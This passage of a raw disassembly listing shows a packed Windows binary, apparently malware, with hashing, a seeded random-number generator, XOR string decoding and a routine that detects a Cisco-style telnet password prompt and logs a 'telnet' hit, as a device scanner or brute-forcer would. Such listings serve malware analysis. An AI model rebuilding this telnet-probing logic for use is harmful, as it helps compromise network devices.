		mov	[ebp+arg_0], edi
		or	esi, ebx
		mov	ebx, [ebp+arg_4]
		add	esi, [ebp+var_24]
		lea	ebx, [ebx+esi+698098D8h]
		mov	esi, ebx
		shr	esi, 19h
		shl	ebx, 7
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx-74BB0851h]
		mov	edi, ecx
		shr	edi, 14h
		shl	ecx, 0Ch
		or	edi, ecx
		add	edi, esi
		mov	ecx, edi
		mov	ebx, edi
		not	ecx
		and	ecx, [ebp+arg_0]
		and	ebx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_1C]
		lea	edx, [edx+ecx-0A44Fh]
		mov	ebx, edx
		shr	ebx, 0Fh
		shl	edx, 11h
		or	ebx, edx
		add	ebx, edi
		mov	ecx, ebx
		mov	edx, edi
		not	ecx
		and	ecx, esi
		and	edx, ebx
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_18]
		mov	[ebp+var_4], ebx
		lea	edx, [edx+ecx-76A32842h]
		mov	ecx, edx
		shl	ecx, 16h
		shr	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebx, ecx
		not	edx
		and	edx, edi
		or	edx, ebx
		add	edx, [ebp+var_14]
		lea	esi, [esi+edx+6B901122h]
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, ecx
		add	edx, ecx
		mov	[ebp+arg_4], edx
		and	esi, [ebp+arg_4]
		not	edx
		and	edx, [ebp+var_4]
		or	edx, esi
		add	edx, [ebp+var_10]
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, [ebp+arg_4]
		mov	[ebp+arg_0], edx
		mov	esi, edx
		not	[ebp+arg_0]
		and	esi, [ebp+arg_4]
		and	edi, [ebp+arg_0]
		mov	ebx, edx
		or	esi, edi
		mov	edi, [ebp+var_4]
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-5986BC72h]
		mov	esi, edi
		shr	esi, 0Fh
		shl	edi, 11h
		or	esi, edi
		add	esi, edx
		mov	[ebp+var_4], esi
		and	ebx, esi
		not	[ebp+var_4]
		mov	edi, [ebp+var_4]
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_8]
		and	ebx, [ebp+arg_0]
		lea	ecx, [ecx+edi+49B40821h]
		mov	edi, ecx
		shl	edi, 16h
		shr	ecx, 0Ah
		or	edi, ecx
		mov	ecx, edx
		add	edi, esi
		and	ecx, edi
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, [ebp+var_40]
		lea	ecx, [ebx+ecx-9E1DA9Eh]
		mov	ebx, ecx
		shr	ebx, 1Bh
		shl	ecx, 5
		or	ebx, ecx
		mov	ecx, [ebp+var_4]
		add	ebx, edi
		and	ecx, edi
		mov	[ebp+arg_4], ebx
		mov	[ebp+arg_0], ecx
		mov	ecx, esi
		and	ecx, ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, ebx
		add	ecx, [ebp+var_2C]
		lea	edx, [edx+ecx-3FBF4CC0h]
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		mov	edx, edi
		add	ecx, [ebp+arg_4]
		not	edx
		and	edx, [ebp+arg_4]
		mov	ebx, ecx
		and	ebx, edi
		or	edx, ebx
		add	edx, [ebp+var_18]
		lea	esi, [esi+edx+265E5A51h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, [ebp+arg_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		and	edx, [ebp+arg_4]
		not	esi
		and	esi, ecx
		mov	ebx, [ebp+var_4]
		or	esi, edx
		add	esi, [ebp+var_44]
		lea	edi, [edi+esi-16493856h]
		mov	esi, ecx
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	esi
		and	esi, ebx
		and	edi, edx
		or	esi, edi
		mov	edi, [ebp+arg_4]
		add	esi, [ebp+var_30]
		lea	esi, [edi+esi-29D0EFA3h]
		mov	edi, esi
		shr	edi, 1Bh
		shl	esi, 5
		or	edi, esi
		mov	esi, ebx
		add	edi, edx
		mov	[ebp+arg_4], edi
		mov	edi, ebx
		and	edi, [ebp+arg_4]
		not	esi
		and	esi, edx
		or	esi, edi
		add	esi, [ebp+var_1C]
		lea	ecx, [ecx+esi+2441453h]
		mov	esi, ecx
		shr	esi, 17h
		shl	ecx, 9
		or	esi, ecx
		mov	ecx, edx
		add	esi, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_4]
		mov	edi, esi
		and	edi, edx
		or	ecx, edi
		add	ecx, [ebp+var_8]
		lea	edi, [ebx+ecx-275E197Fh]
		mov	ecx, edi
		shr	ecx, 12h
		shl	edi, 0Eh
		or	ecx, edi
		mov	edi, [ebp+arg_4]
		add	ecx, esi
		mov	ebx, ecx
		and	ebx, [ebp+arg_4]
		not	edi
		and	edi, esi
		or	edi, ebx
		mov	ebx, esi
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-182C0438h]
		mov	edi, edx
		shl	edi, 14h
		shr	edx, 0Ch
		or	edi, edx
		mov	edx, esi
		add	edi, ecx
		not	edx
		and	edx, ecx
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [ebp+arg_4]
		add	edx, [ebp+var_20]
		mov	[ebp+arg_0], edi
		lea	ebx, [ebx+edx+21E1CDE6h]
		mov	edx, ebx
		shr	edx, 1Bh
		shl	ebx, 5
		or	edx, ebx
		mov	ebx, ecx
		not	ebx
		add	edx, edi
		and	ebx, edi
		mov	edi, ecx
		and	edi, edx
		or	ebx, edi
		add	ebx, [ebp+var_C]
		lea	esi, [esi+ebx-3CC8F82Ah]
		mov	edi, esi
		shr	edi, 17h
		shl	esi, 9
		or	edi, esi
		mov	esi, [ebp+arg_0]
		add	edi, edx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	esi
		and	esi, edx
		or	esi, ebx
		add	esi, [ebp+var_38]
		lea	ecx, [ecx+esi-0B2AF279h]
		mov	esi, ecx
		shr	esi, 12h
		shl	ecx, 0Eh
		or	esi, ecx
		mov	ecx, edx
		add	esi, edi
		not	ecx
		mov	ebx, esi
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [ebp+arg_0]
		add	ecx, [ebp+var_24]
		lea	ecx, [ebx+ecx+455A14EDh]
		mov	ebx, ecx
		shl	ebx, 14h
		shr	ecx, 0Ch
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, esi
		mov	[ebp+arg_0], ebx
		mov	ebx, edi
		and	ebx, [ebp+arg_0]
		not	ecx
		and	ecx, esi
		or	ecx, ebx
		add	ecx, [ebp+var_10]
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, esi
		add	ecx, [ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	ecx, esi
		and	edx, [ebp+arg_4]
		mov	ebx, [ebp+arg_4]
		not	ecx
		and	ecx, [ebp+arg_0]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		add	ecx, [ebp+var_3C]
		not	edx
		and	edx, ebx
		lea	edi, [edi+ecx-3105C08h]
		mov	ecx, edi
		shr	ecx, 17h
		shl	edi, 9
		or	ecx, edi
		add	ecx, ebx
		mov	edi, ecx
		and	edi, [ebp+arg_0]
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+676F02D9h]
		mov	edx, esi
		shr	edx, 12h
		shl	esi, 0Eh
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		mov	edi, edx
		and	esi, ecx
		and	edi, ebx
		or	esi, edi
		mov	edi, [ebp+arg_0]
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi-72D5B376h]
		mov	esi, edi
		shl	esi, 14h
		shr	edi, 0Ch
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		xor	edi, edx
		xor	edi, esi
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		xor	ebx, esi
		xor	ebx, edi
		add	ebx, [ebp+var_24]
		lea	ecx, [ecx+ebx-788E097Fh]
		mov	ebx, ecx
		shr	ebx, 15h
		shl	ecx, 0Bh
		or	ebx, ecx
		add	ebx, edi
		mov	ecx, ebx
		xor	ecx, esi
		xor	ecx, edi
		add	ecx, [ebp+var_18]
		lea	edx, [edx+ecx+6D9D6122h]
		mov	ecx, edx
		shr	ecx, 10h
		shl	edx, 10h
		or	ecx, edx
		mov	edx, ebx
		add	ecx, ebx
		mov	[ebp+var_4], ecx
		xor	edx, ecx
		mov	ecx, edx
		xor	ecx, edi
		add	ecx, [ebp+var_C]
		lea	esi, [esi+ecx-21AC7F4h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		add	ecx, [ebp+var_4]
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	edi, [edi+edx-5B4115BCh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, [ebp+var_4]
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_34]
		lea	ebx, [ebx+esi+4BDECFA9h]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		mov	[ebp+arg_4], esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_28]
		lea	ebx, [edi+ebx-944B4B0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, esi
		xor	[ebp+arg_4], edi
		mov	ebx, [ebp+arg_4]
		xor	ebx, edx
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx-41404390h]
		mov	ecx, ebx
		shl	ecx, 17h
		shr	ebx, 9
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		add	ecx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_10]
		lea	ebx, [edx+ebx+289B7EC6h]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_44]
		lea	esi, [esi+ebx-155ED806h]
		mov	ebx, esi
		shr	ebx, 15h
		shl	esi, 0Bh
		or	ebx, esi
		add	ebx, edx
		mov	esi, ebx
		mov	[ebp+arg_4], ebx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	esi, [edi+esi-2B10CF7Bh]
		mov	edi, esi
		shr	edi, 10h
		shl	esi, 10h
		or	edi, esi
		add	edi, ebx
		xor	[ebp+arg_4], edi
		mov	esi, [ebp+arg_4]
		xor	esi, edx
		add	esi, [ebp+var_2C]
		lea	esi, [ecx+esi+4881D05h]
		mov	ecx, esi
		shl	ecx, 17h
		shr	esi, 9
		or	ecx, esi
		mov	esi, [ebp+arg_4]
		add	ecx, edi
		xor	esi, ecx
		add	esi, [ebp+var_20]
		lea	esi, [edx+esi-262B2FC7h]
		mov	edx, esi
		shr	edx, 1Ch
		shl	esi, 4
		or	edx, esi
		mov	esi, edi
		add	edx, ecx
		xor	esi, ecx
		xor	esi, edx
		add	esi, [ebp+var_14]
		lea	ebx, [ebx+esi-1924661Bh]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		xor	ebx, ecx
		xor	ebx, edx
		add	ebx, [ebp+var_8]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, esi
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [ebp+var_44]
		lea	edx, [edx+ecx-0BD6DDBCh]
		mov	ecx, edx
		shr	ecx, 1Ah
		shl	edx, 6
		or	ecx, edx
		mov	edx, edi
		add	ecx, ebx
		not	edx
		or	edx, ecx
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx+432AFF97h]
		mov	edx, esi
		shr	edx, 16h
		shl	esi, 0Ah
		or	edx, esi
		mov	esi, ebx
		add	edx, ecx
		not	esi
		or	esi, edx
		xor	esi, ecx
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-546BDC59h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, ecx
		add	esi, edx
		not	edi
		or	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		mov	ebx, edx
		not	ebx
		add	edi, esi
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_14]
		lea	ebx, [ecx+ebx+655B59C3h]
		mov	ecx, ebx
		shl	ebx, 6
		shr	ecx, 1Ah
		or	ecx, ebx
		mov	ebx, esi
		not	ebx
		add	ecx, edi
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_38]
		lea	ebx, [edx+ebx-70F3336Eh]
		mov	edx, ebx
		shl	ebx, 0Ah
		shr	edx, 16h
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_1C]
		lea	ebx, [esi+ebx-100B83h]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_40]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_24]
		lea	ebx, [ecx+ebx+6FA87E4Fh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_8]
		lea	ebx, [edx+ebx-1D31920h]
		mov	edx, ebx
		shr	edx, 16h
		shl	ebx, 0Ah
		or	edx, ebx
		mov	ebx, edi
		add	edx, ecx
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_2C]
		lea	ebx, [esi+ebx-5CFEBCECh]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, ecx
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_10]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_34]
		lea	ebx, [ecx+ebx-8AC817Eh]
		mov	ecx, ebx
		shr	ecx, 1Ah
		shl	ebx, 6
		or	ecx, ebx
		mov	ebx, esi
		add	ecx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-42C50DCBh]
		mov	ebx, edx
		shr	ebx, 16h
		shl	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, ecx
		not	edx
		or	edx, ebx
		xor	edx, ecx
		add	edx, [ebp+var_3C]
		lea	esi, [esi+edx+2AD7D2BBh]
		mov	edx, esi
		shr	edx, 11h
		shl	esi, 0Fh
		or	edx, esi
		mov	esi, ecx
		add	edx, ebx
		not	esi
		or	esi, edx
		xor	esi, ebx
		add	esi, [ebp+var_20]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [eax]
		add	esi, ecx
		mov	ecx, edi
		shl	ecx, 15h
		shr	edi, 0Bh
		or	ecx, edi
		mov	[eax], esi
		add	ecx, [eax+4]
		pop	edi
		pop	esi
		add	ecx, edx
		mov	[eax+4], ecx
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [eax+0Ch]
		add	ecx, ebx
		pop	ebx
		mov	[eax+0Ch], ecx
		leave
		retn
sub_40AA38	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2D8	proc near		; CODE XREF: sub_40AA38+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40B31D
		mov	edx, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx

loc_40B2F1:				; CODE XREF: sub_40B2D8+41j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [esp+8+arg_8]
		jb	short loc_40B2F1
		pop	edi
		pop	esi

locret_40B31D:				; CODE XREF: sub_40B2D8+5j
		retn
sub_40B2D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B31E	proc near		; CODE XREF: sub_4111E8+CCp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	0F0000000h
		push	1
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	dword_412024
		mov	esi, dword_412020
		push	offset dword_419E7C
		push	4
		push	[ebp+var_4]
		call	esi
		push	offset dword_419E80
		push	4
		push	[ebp+var_4]
		call	esi
		push	offset dword_419E84
		push	4
		push	[ebp+var_4]
		call	esi
		push	offset dword_419E88
		push	4
		push	[ebp+var_4]
		call	esi
		push	0
		push	[ebp+var_4]
		call	dword_41201C
		pop	esi
		leave
		retn
sub_40B31E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B380	proc near		; CODE XREF: sub_40B459+3p sub_40B480p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		lock xadd dword_419E7C,	eax
		add	eax, ebx
		lock xadd dword_419E80,	eax
		add	eax, ecx
		lock xadd dword_419E84,	eax
		add	eax, edx
		lock xadd dword_419E88,	eax
		add	eax, esi
		lock xadd dword_419E7C,	eax
		add	eax, edi
		lock xadd dword_419E80,	eax
		add	eax, ebp
		lock xadd dword_419E84,	eax
		add	eax, esp
		lock xadd dword_419E88,	eax
		call	sub_4114E2	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_419E7C,	eax
		lock xadd dword_419E80,	eax
		lock xadd dword_419E84,	eax
		lock xadd dword_419E88,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_419E84,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_419E80,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_419E7C,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_419E88,	edx
		lock xadd dword_419E84,	ecx
		lock xadd dword_419E80,	ebx
		lock xadd dword_419E7C,	eax
		pop	ebx
		leave
		retn
sub_40B380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B459	proc near		; CODE XREF: sub_401B81+C1p
					; sub_4031A7+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E88,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B480	proc near		; CODE XREF: sub_4091AD:loc_409213p
					; sub_409918+8DAp ...
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E88,	eax
		retn
sub_40B480	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B493	proc near		; CODE XREF: sub_403EA9+4ECp
					; sub_403EA9+54Fp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E84,	eax
		and	eax, 0FFFFh
		retn
sub_40B493	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4AB	proc near		; CODE XREF: sub_40B4D9:loc_40B507p
					; sub_40E399+CEp
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E80,	eax
		and	eax, 0FFh
		retn
sub_40B4AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4C3	proc near		; CODE XREF: sub_403EA9+4FFp
					; sub_4098C7+2Bp ...
		call	sub_40B380
		call	sub_4114E2	; clock
		lock xadd dword_419E7C,	eax
		and	eax, 1
		retn
sub_40B4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4D9	proc near		; CODE XREF: sub_407A76+837p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_40B512
		mov	esi, [esp+8+arg_0]
		cmp	ebx, 3
		jbe	short loc_40B503
		push	edi
		mov	edi, ebx
		shr	edi, 2

loc_40B4F2:				; CODE XREF: sub_40B4D9+27j
		call	sub_40B480
		mov	[esi], eax
		add	esi, 4
		sub	ebx, 4
		dec	edi
		jnz	short loc_40B4F2
		pop	edi

loc_40B503:				; CODE XREF: sub_40B4D9+11j
		test	ebx, ebx
		jbe	short loc_40B512

loc_40B507:				; CODE XREF: sub_40B4D9+37j
		call	sub_40B4AB
		mov	[esi], al
		inc	esi
		dec	ebx
		jnz	short loc_40B507

loc_40B512:				; CODE XREF: sub_40B4D9+8j
					; sub_40B4D9+2Cj
		pop	esi
		pop	ebx
		retn
sub_40B4D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B515	proc near		; CODE XREF: sub_4027CB+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_40B522
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B522:				; CODE XREF: sub_40B515+7j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jnz	short loc_40B52C
		mov	eax, [ebp+arg_4]

loc_40B52C:				; CODE XREF: sub_40B515+12j
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_40B459
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jbe	short loc_40B55A
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, edi

loc_40B545:				; CODE XREF: sub_40B515+41j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B459
		mov	[esi], al
		pop	ecx
		inc	esi
		dec	ebx
		pop	ecx
		jnz	short loc_40B545
		pop	esi
		pop	ebx

loc_40B55A:				; CODE XREF: sub_40B515+27j
		mov	eax, edi
		pop	edi
		pop	ebp
		retn
sub_40B515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B55F	proc near		; CODE XREF: sub_4111E8+DEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_419E90
		call	sub_40A96B
		add	esp, 18h
		lea	esi, byte_419E90
		mov	edi, esi
		push	10h
		pop	ecx

loc_40B59B:				; CODE XREF: sub_40B55F+43j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_40B59B
		pop	edi
		pop	esi
		leave
		retn
sub_40B55F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5A8	proc near		; CODE XREF: sub_4050D1+7Dp
					; sub_4050D1+FFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		ja	short loc_40B5DE
		xor	esi, esi
		test	bl, bl
		jz	short loc_40B5DE
		push	edi

loc_40B5BC:				; CODE XREF: sub_40B5A8+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_419E90[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40B5BC
		pop	edi

loc_40B5DE:				; CODE XREF: sub_40B5A8+Bj
					; sub_40B5A8+11j
		pop	esi
		pop	ebx
		retn
sub_40B5A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5E1	proc near		; CODE XREF: sub_401000+3Fp
					; sub_4033F9+19p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		jbe	short loc_40B617
		xor	esi, esi
		test	bl, bl
		jz	short loc_40B617
		push	edi

loc_40B5F5:				; CODE XREF: sub_40B5E1+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_419E90[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40B5F5
		pop	edi

loc_40B617:				; CODE XREF: sub_40B5E1+Bj
					; sub_40B5E1+11j
		pop	esi
		pop	ebx
		retn
sub_40B5E1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, 200h
		push	2710h
		lea	eax, [ebp-200h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 10h
		test	eax, eax
		jz	short loc_40B6BA
		push	0Ch
		lea	eax, [ebp-200h]
		push	offset dword_415244
		push	eax
		call	sub_41178A	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40B6BA
		lea	eax, [ebp-200h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BA
		lea	eax, [ebp-200h]
		push	offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B6BA
		mov	eax, [esi]
		inc	dword ptr [eax+2Ah]
		lea	eax, [esi+42h]
		push	eax
		mov	eax, [esi]
		add	esi, 4
		push	dword ptr [eax+2Ah]
		push	offset aTelnet	; "telnet"
		push	esi
		push	offset unk_4151D8
		push	offset dword_418E50
		call	sub_409659
		add	esp, 18h

loc_40B6BA:				; CODE XREF: .packed:0040B647j
					; .packed:0040B661j ...
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6BE	proc near		; CODE XREF: .packed:0040B82Ap

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		mov	esi, dword_412258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40B70D
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B7C9
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B7C9

loc_40B70D:				; CODE XREF: sub_40B6BE+2Dj
		push	28h
		push	offset dword_415254
		push	[ebp+arg_0]
		call	sub_403D9D
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40B7C9
		push	0
